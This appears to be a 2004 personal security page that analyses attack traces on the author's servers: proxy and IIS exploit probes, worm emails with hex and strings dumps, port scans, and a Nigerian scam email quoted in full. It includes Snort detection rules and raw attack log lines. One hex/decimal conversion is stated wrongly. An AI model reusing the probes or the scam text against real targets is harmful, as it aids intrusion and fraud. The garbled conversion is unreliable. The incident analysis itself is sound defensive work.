Last Updated: Tuesday July 20, 2004
Michael Ligh (michael.ligh@mnin.org)
The name "slims" came about because the material presented on this page covers a large number of things while maintaining a reasonable length. We try to keep each discussion contained within one, or a few, pages. Where possible, we do provide both internal or external links to more detailed analyses of each topic. Presently, the list is fairly short since the boxes we monitor are (as far as we can tell) not under constant attack. This page will be updated as often and as fast as we are able to recognize and detect new exploits.
Open Proxy Scan - HTTP CONNECT
The HTTP CONNECT method is used to tunnel non-HTTP protocols through an HTTP proxy. Attackers can specify a destination and port number in the URI of a CONNECT request and, if accepted by the proxy server, would be granted a connection to the destination address on behalf of the server. As such, attackers remain anonymous and the server is framed for any malicious activity that happens to occur accross this channel. In this report we'll reveal the very traces of a remote user looking for an open proxy through which to stage one of several possible exploits. The attacker uses the http method CONNECT to bypass the normal application layer functionality of the proxy. However, our server does not act as a proxy nor does it accept CONNECT requests - so these attackers were sent back a 405 METHOD NOT ALLOWED error. We provide the entry in Apache's access_log and a packet trace from the Snort IDS. The CONNECT method is mentioned in RFC 2817, [1].
Here is the Apache access_log. The remote IP (64.228.99.126) wants us to tunnel him a connection to port 25 of the destination mail server (209.226.175.80:25). The destination address resolves to smtp1.bellglobal.com - a valid SMTP server. In this case we can assume the attacker wishes to distribute some spam and make it appear is though our server was the source. Following the URI string are the numbers 405 (error code) and 1004 (number of bytes returned in this error message, excluding the http headers).
64.228.99.126 - - [17/Aug/2003:00:37:21 -0400] "CONNECT 209.226.175.80:25 HTTP/1.0" 405 1004
Here is the Snort IDS rule associated with this activity. Several conditions must be met for a packet to trip the alert - it must be an external source connected to an http port on an internal host (using TCP obviously). It also must contain the text string "CONNECT" in the URI field of the request, occur after the connection (3-way handshake) has been completed, and be flowing in the direction of client to server.
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Invalid HTTP CONNECT attempt"; uricontent: "CONNECT"; flow: toserver,established; classtype: web-application-attack; sid: 1000099;)
Here is the Snort packet capture from a different occassion. We see the external address (204.228.228.12) access an http port (80) of an internal host (64.252.90.248) containting the string "CONNECT" in the URI and followed by the destination address (1.3.3.7) and port number (1337).
10/16-23:19:48.412597 204.228.228.12:4728 -> 64.252.90.248:80 TCP TTL:103 TOS:0x0 ID:55025 IpLen:20 DgmLen:73 DF ***AP*** Seq: 0x1E19A395 Ack: 0x52EFD6EF Win: 0x2118 TcpLen: 20 43 4F 4E 4E 45 43 54 20 31 2E 33 2E 33 2E 37 3A CONNECT 1.3.3.7: 31 33 33 37 20 48 54 54 50 2F 31 2E 30 0D 0A 0D 1337 HTTP/1.0... 0A .
Common motivations for using the HTTP CONNECT method:
This is an attempt to exploit the nsiislog.dll library found in the Scripts directory of Microsoft-based servers. Though not installed by default, this library is responsible for the multicast and unicast transmission logging capability within Windows Media Services. If configured incorrectly, specially crafted packets will cause a temporary denial of service in IIS and possibly the execution of arbitrary code on the server. We've done some research on input buffer overflows, which we urge the reader to view if the concept is unclear. Read Intro To Buffer Overflows. Otherwise, we have the entry in Apache's access_log to present. Readers many also consult the pages at SecurityFocus, [4] and Internet Security Systems, [5] for more information.
Here is the entry in Apache's access_log:
163.17.214.12 - - [03/Aug/2003:03:48:02 -0400] "GET /scripts/nsiislog.dll" 404 1081
Here is the Snort IDS rule associated with this activity:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "Remote Buffer Overflow attempt - nsiislog.dll"; uricontent: "nsiislog.dll"; flow: toserver,established; classtype: web-application-attack; sid: 1000099;)
For a description of the individual fields in either access_log or Snort's rule, see the above discussion on HTTP CONNECT.
This is just a follow up to the research done on the W32.Sobig.E@mm Internet Worm documented in Attack Signitures and Internet Traffic Analysis. A more focused analysis on this particualar variation of W32.Sobig can be found on the pages at Symantec, [6]. Below are the headers from 4 separate emails which indicate the worm trying to propagate. The X-Originating-IP field is consistent, meaning they all originated from the same physical computer (despite the varying source email addresses). This can be expected since the worm is known for spoofing. We also see three different subject lines, all of which are documented by Symantec.
Received: from mta2.snet.net by mailapps2 with SMTP; Tue, 19 Aug 2003 11:57:43 -0400 X-Originating-IP: [66.134.39.251] Received: from LTG3 (h-66-134-39-251.MCLNVA23.covad.net [66.134.39.251]) by mta2.snet.net (8.12.9/8.12.9) with ESMTP id h7JFvYpm028673 for <ligh@snet.net>; Tue, 19 Aug 2003 11:57:35 -0400 (EDT Message-Id: <200308191557.h7JFvYpm028673@mta2.snet.net> From: <stephen.miskiel@toscadc.com> To: <ligh@snet.net> Subject: Re: Wicked screensaver Date: Tue, 19 Aug 2003 11:58:54 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed boundary="_NextPart_000_28D0D2D7" See the attached file for details
Received: from mta2.snet.net by mailapps2 with SMTP; Wed, 20 Aug 2003 13:45:10 -0400 X-Originating-IP:[66.134.39.251] Received: from LTG3 (h-66-134-39-251.MCLNVA23.covad.net [66.134.39.251]) by mta2.snet.net (8.12.9/8.12.9) with ESMTP id h7KHiqpm008695 for <ligh@snet.net>; Wed, 20 Aug 2003 13:44:54 -0400 (EDT) Message-Id: <200308201744.h7KHiqpm008695@mta2.snet.net> From: <ccvt96@aol.com> To: <ligh@snet.net> Subject: Re: Details Date: Wed, 20 Aug 2003 13:46:23 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_2E59997E" Please see the attached file for details.
Received: from mta4.snet.net by vmk with SMTP; Wed, 20 Aug 2003 04:44:08 -0400 X-Originating-IP: [66.134.39.251] Received: from LTG3 (h-66-134-39-251.MCLNVA23.covad.net [66.134.39.251]) by mta4.snet.net (8.12.9/8.12.9) with ESMTP id h7K8hSnJ029067 for <ligh@snet.net>; Wed, 20 Aug 2003 04:43:30 -0400 (EDT) Message-Id: <200308200843.h7K8hSnJ029067@mta4.snet.net> From: <asaiwr@yahoo.com> To: <ligh@snet.net> Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 4:44:55 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_2C69E2DC" Please see the attached file for details.
Received: from mta2.snet.net by mta3 with SMTP; Tue, 19 Aug 2003 19:29:52 -0400 X-Originating-IP: [66.134.39.251] Received: from LTG3 (h-66-134-39-251.MCLNVA23.covad.net [66.134.39.251]) by mta2.snet.net (8.12.9/8.12.9) with ESMTP id h7JNTPpm016319 for <ligh@snet.net>; Tue, 19 Aug 2003 19:29:28 -0400 (EDT) Message-Id: <200308192329.h7JNTPpm016319@mta2.snet.net> From: <mg0088mgr@maggianos.com> To: <ligh@snet.net> Subject: Re: Thank you! Date: Tue, 19 Aug 2003 19:30:49 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_2A6E97E3" See the attached file for details.
Here is another look at one of the more widespread and intelligent worms - Klez. It uses its built-in SMTP engine to propagate once it has searched infected systems for strings that fit the syntax of an email address. These addresses are then used as the TO: or FROM: field of the message. This particular variant hides (and encrypts) original host files and then replaces them with a copy of itself (the viral code). It attempts to disable on-access virus scanners by stopping processes and deleting registry entries. It also participates in an infected host's leakage of information by mailing a randomly chosen file as an attachment - along with the worm executable itself. The subject line as well as the message body is chosen randomly, though several patterns are recognized by Symantec, [7] as Klez-specific. Lets look at the email header:
From info@worldsex.com Mon Jan 5 22:21:57 2004 Received: from mta1.snet.net by yipvmh with SMTP; Mon, 5 Jan 2004 22:21:31 -0500 X-Originating-IP: [66.203.72.35] Received: from cclco.com (host-35-72-203-66.axsne.net [66.203.72.35] (may be forged)) by mta1.snet.net (8.12.10/8.12.10) with ESMTP id i063LTfg013205 for <ligh@snet.net>; Mon, 5 Jan 2004 22:21:29 -0500 (EST) Received: from Vdfgoewxm [216.153.217.147] by cclco.com (SMTPD32-8.05) id AB5517AA0166; Mon, 05 Jan 2004 21:20:05 -0500 From: info <info@worldsex.com> To: ligh@snet.net Subject: A special nice game MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=L66my26wV9AVT367314O270l3Q Message-Id: <200401052120125.SM01536@Vdfgoewxm> Date: Mon, 5 Jan 2004 22:21:57 -0500 Status: R
First of all - info@worldsex.com should not be emailing me. But, we've already established that this field of the header is spoofed. Next, the subject line is indicative of Klez according to Symantec: "a [Random word] [Random word] game". Then, the message body which fits the description:
This is a special nice game This game is my first work. You're the first player I hope you would enjoy it.
The message was accompanied by two attachments: an executable named kitty.exe and a picture file (632245670.145405043.IM1.02.565x421_A.562x421[1].jpg), which shows a close up of a Lexus and a car dealership in the background. The later would be the information leakage - though this time it is a photograph; the worm chooses audio, video, text, and backup files as well. The former, kitty.exe, contains the worm code. A brief analysis with KHexEdit on a Linux machine reveals part of the SMTP engine:
0000:f040 | 2d 2d 00 00 5c 00 00 00 51 55 49 54 0d 0a 00 00 | --..\...QUIT.... 0000:f050 | 0d 0a 2e 0d 0a 00 00 00 44 41 54 41 20 0d 0a 00 | ........DATA... 0000:f060 | 48 45 4c 4f 20 25 73 0d 0a 00 00 00 3e 0d 0a 00 | HELO %s.....>... 0000:f070 | 4d 41 49 4c 20 46 52 4f 4d 3a 20 3c 00 00 00 00 | MAIL FROM:<.... 0000:f080 | 52 43 50 54 20 54 4f 3a 3c 00 00 00 25 64 00 00 | RCPT TO:><...%d..>
On the left is the offset, in the middle are the hex values, and on the right is the ASCII representation. The QUIT, DATA, HELO, MAIL FROM, and RCPT TO commands are essential to the worm's propagation mechanism.
This morning a friend called because her AV expired and Live Update features were disabled. We never finished the registration process before she had to leave, so any new viruses or worms will go undetected until later. It turns out today is not the best day for systems to be unprotected. A new mass-mailing worm has been discovered in the wild and dubbed W32.Novarg.A@mm by Symantec Security Response, [8]. Why is this threatening? First of all the worm is so young no one knows any technical details on its payload (what it does after being executed). Futhermore, Norton has not released a definition for this new code - meaning even if my friend was able to get Live Update working it would not help (at least not signature based detection. All we know is the infection length and that the worm presents itself in an email attachment with a *.pif, *.exe, or *.scr extension. Five minutes ago Norton updated their website to reflect the fact that it also can appear as a *.zip.
The worm was brought to my attention because it spread to both of my email accounts (ligh@snet.net and mh@mnin.org) within the same minute. Let's examine the first email that was sent to ligh@snet.net. Here is the header and email body:
------------ From staceyc@kayunger.com Mon Jan 26 16:38:44 2004 Received: from yipvmb.prodigy.net by yipvmb with SMTP; Mon, 26 Jan 2004 16:43:53 -0500 X-Originating-IP: [209.90.32.254] X-Header-NoReverseIP: IP.name.lookup.failed[209.90.32.254] Received: from kayunger.com ([209.90.32.254]) by yipvmb.prodigy.net (8.12.10/8.12.10) with ESMTP id i0QLd0LE484814 for <ligh@snet.net>; Mon, 26 Jan 2004 16:39:01 -0500 Message-Id: <200401262139.i0QLd0LE484814@yipvmb.prodigy.net> From: staceyc@kayunger.com To: ligh@snet.net Subject: hi Date: Mon, 26 Jan 2004 16:38:44 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0002_41D454D1.772AB207" X-Priority: 3 X-MSMail-Priority: Normal Status: R [WINDOWS-1252013;4‡áœöhA„#<Þ [WINDOWS-1252?]zoxù“O�>W}öÚ/cô#³ [WINDOWS-1252?]t;ò`(G:(Ñݬ9Ž,äpçæ¡ÍN�JRZ&V•r [WINDOWS-1252?]n��ø"QÇUÁšîú¡ŠÉùµ—ìq¸±$«’`§RÏâ;V [WINDOWS-1252?]MkœÉóÑɼ,¬˜…ð”!ð’4ëžëÖ3÷úÛõ¬�¨z [WINDOWS-1252?]§]Îm;k~'ša?Z
This message was accompanied with an attachment by the name of document.zip - a 22,798 byte file. Lets ignore that for now (but remember the length) and take a look at the second email that spread to mh@mnin.org:
------------ From: mikei@barsnet.com Mon Jan 26 16:33:28 2004 Return-Path: <mikei@barsnet.com> X-Original-To: mh@mnin.org Delivered-To: mh@mnin.org Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by mnin.org (Spree) with ESMTP id 8D612AC6EA for <mh@mnin.org>; Mon, 26 Jan 2004 16:33:27 -0500 (EST) Received: from barsnet.com ([135.63.23.155]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i0QLnc2l017570 for <mh@mnin.org>; Mon, 26 Jan 2004 15:49:38 -0600 Message-Id: <200401262149.i0QLnc2l017570@kcmso1.proxy.att.com> From: mikei@barsnet.com To: mh@mnin.org Subject: Hi Date: Mon, 26 Jan 2004 16:49:38 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0003_FD7BFEEB.760488D6" X-Priority: 3 X-MSMail-Priority: Normal Status: R The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
Similar to the first, this message contained the subject line Hi (though the first was all lowercase); and it also contained an attachment named doc.pif, a 22,528 byte file. The attachments seem to be different because of the conflicting sizes (22,798 vs 22,528), filenames (document vs doc), and extensions (*.zip vs *.pif). We can look a little closer and find out that this is simply misleading (without a doubt intentional!). The attachment from the first email is compressed. After extracting its contents there is a single file named document.doc.exe that is exactly 22,528 bytes - the same as the attachment in the second email AND the same as the infection length reported by Symantec.
You might notice the double extension on document.doc.exe. This is a social engineering technique to trick users into thinking it is a *.doc file (or Microsoft Word document) when it is really an executable.This new worm has even thrown in an enhancement - the filename is not really document.doc.exe as I explained - it is document.doc[72 spaces].exe. That's right, the complete filename is 87 characters long, so when viewed on screen the *.exe extension appears far off from the rest. When the file is clicked, it does not open a Word file for reading, but rather executes the the sequence of commands listed in the executable. These are limitied only by the authors imagination. So, don't click arbitrary attachments unless there is a confident certainty as to what will be activated as a consequence.
We can explore the rest with a few Unix commands. diff takes two files as arguments and prints any differences between them to the screen. If there are no differences, it simply returns the prompt.
# diff document.doc[72 spaces].exe doc.pif #
Ok so the contents of the files seem to be alike. To be absoultely sure, lets calculate and compare the checksums:
# md5sum document.doc[72 spaces].exe 53df39092394741514bc050f3d6a06a9 document.doc[72 spaces].exe # md5sum doc.pif 53df39092394741514bc050f3d6a06a9 doc.pif
No more speculation. The two attachments from different emails are identical to a degree as certain if not more so than DNA testing. That's great, but what the hell is it? Here is the annotated output of the strings command executed on one of the attachments (it doensn't matter which since we know they are the same). Spaces between lines represent where information was withheld - the output is much larger than what is shown.
# strings doc.pif (sync.c,v 0.1 2004 notepad %s Message abcd ghijklm pqrstNwxyz ABCDEFGHIJKLMNOPQRSTUVWX smith joe USERPROFI ASCII 0123456789+ QUIT DATA KERNEL32.DLL ADVAPI32.dll MSVCRT.dll USER32.dll WS2_32.dll LoadLibraryA GetProcAddress ExitProcess RegCloseKey memset wsprintfA
A nice collection of information, though most is still meaningless without some reverse engineering, which Symantec is (slowly) working on. One last thing: generating random destination email addresses is not an efficient way for worms to spread, because of the high chance of choosing an account that does not exist. Successfull worms parse files on the infected system for strings that fit the email syntax (word@word.word) and import them into its propagation routine for use as either the source or destination address. This should be concerning because it means someone I know, or someone who knows me, is infected with this worm as we speak. Let's hope its not Jacki ;-) That's all for now.
**Update (+1 hr from writing "That's all for now." there is more!). Over 1000 systems have been infected by this worm now and Symantec has finished the analysis too. It added *.cmd and *.bat as possible file extensions, built a list of possible subject lines (one of which is hi) and attachment names (two of which are document and doc), and finally gave us the technical details. They warn us that, among other things, the worm creates a file named "Message" in %temp%, that it is filled with random letters, and then displayed via notepad. Now take another look at the strings output above and prove to yourself this is accurate.
IIS Directory Traversal and Double-Encoding Exploits
This is an attempt to exploit one of the several vulnerabilities in unpatched versions of Microsoft's IIS web server. We've done research on these attacks previoulsy, particularly those presented by the Nimda Internet worm. The reader should consult the relevent section of Attack Signatures and Internet Traffic Analysis. To view source code capable of trying almost 450 ways to spawn an ms-dos shell on a vulnerable server, see the perl script called iis-plus.pl on Security Focus, [9].
This log file is in plain text available by clicking scan_iis
Nigerian Advanced-Fee (4-1-9) Scam
This is an email presenting one of the oldest scams known. Unfortunately its not known by everyone, as compassionate recipients are still being lured by the attractive sounding offer. It is similar to those displayed on Cyber Crime's Most Wanted page, [10] except for one large difference - the source (and thus return) email address is invalid. What good is the scam without a valid reply address - I don't know. Check out more info on the Federal Trade Commission's Nigerian scan page, [11].
Received: from mta5.snet.net by mailapps2 with SMTP; Wed, 20 Aug 2003 01:31:36 -0400 X-Originating-IP: [196.31.176.109] X-Header-Overseas: Mail.from.Overseas.source.vic-dial-196-31-176-109.mweb.co.za Received: from mx4.hotmail.com (vic-dial-196-31-176-109.mweb.co.za [196.31.176.109]) by mta5.snet.net (8.12.9/8.12.9) with ESMTP id h7K4V6iP010201 for <ligh@snet.net>; Wed, 20 Aug 2003 01:31:33 -0400 (EDT) Message-Id: <200308200531.h7K4V6iP010201@mta5.snet.net> From: crownprince2@multiyork.co.za Subject: I NEED YOUR UTMOST CONSIDERATION tz To: ligh@snet.net Content-Type: text/plain Date: Wed, 20 Aug 2003 07:31:32 +0200 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 FROM: MR TREVOR DLAMINI JOHANNESBURG, SOUTH-AFRICA. E-MAIL: crownprince2@multiyork.co.za Dear Sir HIGHLY CONFIDENTIAL Greetings, This mail may come to you as a surprise but,l plead with you to patiently read through it before making a decision whether to assist me or not. l wish to solicit for your assistance in the transaction which l strongly believe will be of mutual benefit to both of us. My name is MR Trevor Dlamini, a branch manager of a leading bank in South Africa. l and two of my colleagues wish to seek your assistance in the transfer of some huge sum of money into a foreign bank account. This money was deposited in a fixed deposit account in the bank by an American national, six years ago.The lenght of time for the maturity of the fixed deposit was five years which expired towards the ending of last year. lncidentally, Mr.Jeff Stevens, who was the beneficiary died in the September 11th bombing of the World Trade Centre in America, and he left nobody as next-of-kin to claim this money.All efforts made to trace any known relations of his proved abortive, and no one has written our bank in this regard. All modalities for the successful transfer of this money into an offshore bank account have been put in place and we are looking for a trust worthy foreign partner into whose bank account this fund would be remitted to and it is this regard that my colleagues have mandated me to provide a partner who will assist us. We have agreed to compensate you with 25% of the total amount if you should accept to assit us. lf you are interested in giving us the required assistance,kindly reply this mail stating your Telephone/Fax numbers for further action. Because of the secrecy surrounding this transaction, l suggest that you contact me only through e-mail , until futher notice. l am looking forward to a fovourable reply from you soon. Feel free to ask any question in this regard. l remain, Yours Faithfully, MR TREVOR DLAMINI
This is one of the less malicious, but more funny, traces our logs have preserved. What hooked our attention was the string located in the remote browser identification section of Apache's access log. It appears to resemble the words "elite hacker edition" written in the common hacker langauge. It wasn't a big deal until the IP address from those logs was correlated with the firewall's list of dropped packets for that day. The same machine engaged in an active port scan scan against our domain just after the strange web connection. To maintain logging efficiency, the firewall does not record every packet it drops. Below is this log file showing a snapshot of ports queried by the remote system. To acquire the entire list we had to journey into the Intrusion Detection System's logfile which is much more comprehensive. We grepped for the remote IP address and wrote a simple script to slice off the port information. Click scan_elite for the file containing the 1214 ports scanned.
Apache access_log:
204.111.29.210 - - [12/Jan/2004:18:41:07 -0500] "GET / HTTP/1.0" 200 2705 "-" "-" 204.111.29.210 - - [12/Jan/2004:18:42:33 -0500] "GET / HTTP/1.1" 200 2705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; 31173 h4ck3r 3d1710n)" 204.111.29.210 - - [12/Jan/2004:18:42:40 -0500] "GET /icons.gif HTTP/1.1" 200 1347 "http://www.mnin.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; 31173 h4ck3r 3d1710n)"
Firewall log:
Jan 12 18:45:52 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=20349 DF PROTO=TCP SPT=1025 DPT=41 WINDOW=5840 SYN Jan 12 18:45:52 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=30799 DF PROTO=TCP SPT=1026 DPT=1548 WINDOW=5840 SYN Jan 12 18:45:52 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=61476 DF PROTO=TCP SPT=1027 DPT=915 WINDOW=5840 SYN Jan 12 18:46:30 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=14373 DF PROTO=TCP SPT=21206 DPT=862 WINDOW=5840 SYN Jan 12 18:46:33 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=14374 DF PROTO=TCP SPT=21206 DPT=862 WINDOW=5840 SYN Jan 12 18:46:54 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=10065 DF PROTO=TCP SPT=21245 DPT=423 WINDOW=5840 SYN Jan 12 18:47:12 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=57880 DF PROTO=TCP SPT=21027 DPT=291 WINDOW=5840 SYN Jan 12 18:47:33 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=44039 DF PROTO=TCP SPT=21291 DPT=795 WINDOW=5840 SYN Jan 12 18:47:54 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=47008 DF PROTO=TCP SPT=21336 DPT=559 WINDOW=5840 SYN Jan 12 18:48:12 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=4749 DF PROTO=TCP SPT=21037 DPT=1998 WINDOW=5840 SYN Jan 12 18:48:32 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=62491 DF PROTO=TCP SPT=21521 DPT=1442 WINDOW=5840 SYN Jan 12 18:48:52 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x00 TTL=50 ID=27481 DF PROTO=TCP SPT=21750 DPT=4559 WINDOW=5840 SYN Jan 12 18:52:25 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=29330 DF PROTO=TCP SPT=21102 DPT=23 WINDOW=5840 SYN Jan 12 18:52:28 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=29331 DF PROTO=TCP SPT=21102 DPT=23 WINDOW=5840 SYN Jan 12 18:52:34 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=29332 DF PROTO=TCP SPT=21102 DPT=23 WINDOW=5840 SYN Jan 12 18:52:46 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=29333 DF PROTO=TCP SPT=21102 DPT=23 WINDOW=5840 SYN Jan 12 18:53:10 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=29334 DF PROTO=TCP SPT=21102 DPT=23 WINDOW=5840 SYN Jan 12 18:53:51 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=55771 DF PROTO=TCP SPT=21104 DPT=110 WINDOW=5840 SYN Jan 12 18:53:54 SRC=204.111.29.210 DST=24.125.4.53 LEN=60 TOS=0x10 TTL=50 ID=55772 DF PROTO=TCP SPT=21104 DPT=110 WINDOW=5840 SYN
Our best guess is that an elite (hardly) hacker (hardly) is using a commercial software product similar to the Power Hacker Professional Edition, [12] program by Trade Touch. The description mentions a browser-based interface, which might explain how that string got into the access log. We are not threatened by this and choose to not investigate any further.
Retina Web Server Scan (Mining for files)
This is the Apache access_log after an 11-minute scan from someone using eEye Digital Security's Retina Network Security Scanner. The scan was a failure, indicated by the 404 error following each GET request. For more information see eEye Digital Security's Retina page, [13]. The scan also tripped Snort's "WEB-IIS users.xml access" alert (SID 1750) 81 times:
The log file for this scan is very large, click scan_retina to view it.
This is the Apache access_log after a nearly 68-minute scan from someone using the X-Scan Vulnerability Scanner. The scan was much louder than Retina: it generated about 410 unique Snort alerts and a total of just below 13,000.
The log file for this scan is very large, click scan_xscan to view it.
8.0 proftpd Remote R00t Exploit
Today as we are doing research on input overflows, which deals heavily with the region in computer memory called the stack, our box is under attack by an exploit which relies on specific stack locations. Our research on input buffer overflows is highlighted in Introduction to Buffer Overflows. Meanwhile, we've located the source code being used by googling keywords found in the packet capture.
Here is the source code for viewing:
http://packetstorm.linuxsecurity.com/0310-exploits/proftpdr00t.c
Here is the packet capture for comparing:
2003.10.16.proftpd-exploit.zip
It is a remote root exploit made possible by a bug in ProFTPD v. 1.2.7 - 1.2.9rc2. The program leaves a backdoor shell on the machine that runs with root privileges. Very good documentation of how and why this works is already included in the source code, so it will not be duplicated here. Anyway, the version of ProFTPD we run is 1.2.7. Why was this attack not successful?
Well, we can learn from the introduction in the source code:
Tested on SuSE 8.0, 8.1 and Redhat 7.2/8.0Though our ProFTPD version has been proven vulnerable, it is not running on either Redhat or SuSE, which probably places the stack at a different location.
NULL.IDQ Buffer Overflow => Backdoor Scan
This is an exploit against Microsoft IIS web servers with vulnerable components of the Indexing Services enabled. We reveal the traces in two separate log files for analysis. The first is the Apache web server (obviously not a well targeted attack) access_log . The emphasis in this log file is the pattern- GET /NULL.IDA?[buffer] [shellcode] [strange and unprintable characters] [cmd.exe HTTP/1.1] . You will notice the significance of this combination of bytes by reading the detailed analysis of this exploit by eEye Digital Security, [14].
Secondly, we provide the Snort, Intrusion Detection System log file, which contains a history of all communication between the attacking host and its intended victim. This correlation is critical because the access_log shows merely the packets aimed at port 80, whereas the IDS log shows all this and more. Coincidentally we can learn a great deal more of the attack by examining this one as well. In particular, we see the remote host query port 3389 (MS terminal services), 1433 (MS SQL), and 139 (NetBIOS) before the actual web exploit. This is probably an attempt to determine if the victim host is a Microsoft Windows system. Throughout the web exploit we see several SYN packets to port 99; this is also how the exploit terminates - by one final SYN to 99. Chances are - if we pick apart the exploit's shellcode we would find instructions to open a backdoor on port 99. These queries are follow-ups to see if the buffer overrun and shellcode execution was successfull.
View the Apache access log by clicking scan_nullida_web and/or the Snort IDS log by clicking scan_nullida_ids.
This is going to analyze an influx of Type 3 Code 3 ICMP packets to our border gateway / firewall. On November 10th 2003 between 16:13 and 20:47 (approximately four and one half hours) we logged 1199 DESTINATION UNREACHABLE: PORT UNREACHABLE messages from an Internet host at 12.147.59.67. There is something most definitely wrong with these error messages - our network was not the source of the packets that invoked the error. It appears someone has conducted a UDP port scan on 12.147.59.67 with our IP address in the source field.
What is our evidence? Well, first, all data sent or received by our network is logged. This includes incoming traffic from the Internet as well as locally generated outbound traffic. The 1199 packets can be viewed by clicking scan_icmp_packets. This is the complete output file from the command:
# snort -dv -r tcpdump.log.xxxxxx host 12.147.59.67
This plays back the network capture log file from this particular day and filters all traffic to or from 12.147.59.67. Naturally, this report wouldn't be significant if we had any traces whatsoever of our network being the origin of the original datagrams. No packets left our network toward 12.147.59.67, or anywhere near it, until we did a traceroute several hours after the last error message was received.
According to protocol an ICMP error message must contain the IP header and at least the first 8 bytes of the original datagram. Using this portion of the log file, we wrote a little script to generate an ordered list of the ports at which the original datagrams were aimed. Click scan_icmp_port to view the list if you wish to have a better understanding of the following discussions.
This is 559 unique ports (some were queried more than once) ranging between 0-1021. We have reason to believe this was a scan of the well known ports on 12.147.59.67. We also have reason to believe this is not a standard nmap scan because port 0 was queried. If the user enters a port range beginning with 0, nmap will not proceed. Furthermore nmap would query each port in range once, not only 559 of them. Even furthermore nmap's UDP module constructs packets with a 0 byte payload, whereas the original datagrams each contained 64 bytes. Consider the following example (this is the first error message in the series):
>11/10-16:13:14.363282 12.147.59.67 -> 64.252.164.150 ICMP TTL:46 TOS:0xC0 ID:14080 IpLen:20 DgmLen:120 Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE ** ORIGINAL DATAGRAM DUMP: 64.252.164.150:4097 -> 12.147.59.67:399 UDP TTL:108 TOS:0x0 ID:256 IpLen:20 DgmLen:92 Len: 64 ** END OF DUMP 00 00 00 00 45 00 00 5C 01 00 00 00 6C 11 20 29 ....E..\....l. ) 40 FC A4 96 0C 93 3B 43 10 01 01 8F 00 48 00 00 @.....;C.....H.. 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 ................ 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 ................ 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 ................ 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 19 ................
The DgmLen:92 shows us that the original datagram length was 92 bytes. If we subtract 20 bytes for the IP header and 8 bytes for the UDP header, we are left with 64 bytes of payload, which is accurately indicated by Len: 64. In this packet, this consists of 64 0x25 bytes (19 decimal = 0x25 hex). According to the ASCII character set, 0x25 is an unprintable character so it is represented by a period. If you have not already, take a quick look at the scan_icmp_packets log file and see how the 64 byte payload differs in each of the packets.
We can also note the IP ID value of 14080 in this first packet. Scroll down to the end of the log file and see that the IP ID of the very last packet is 15278. Plugging these two numbers into a calculator (or just using our fingers) the math tells us that there are exactly 1199 packets between 14080 up to and including 15278. Most stacks increment the IP ID value by 1 with each new packet (until the maximum value is reached, at which time it wraps back around to the lowest value). This is pretty interesting to learn. If the IP ID increments by 1 with each new packet and we are the recipient of 1199 consecutive packets over a period of four and one half hours, this means the remote host did not communicate with any other systems during this time. We'll use this information to debunk a few theories later.
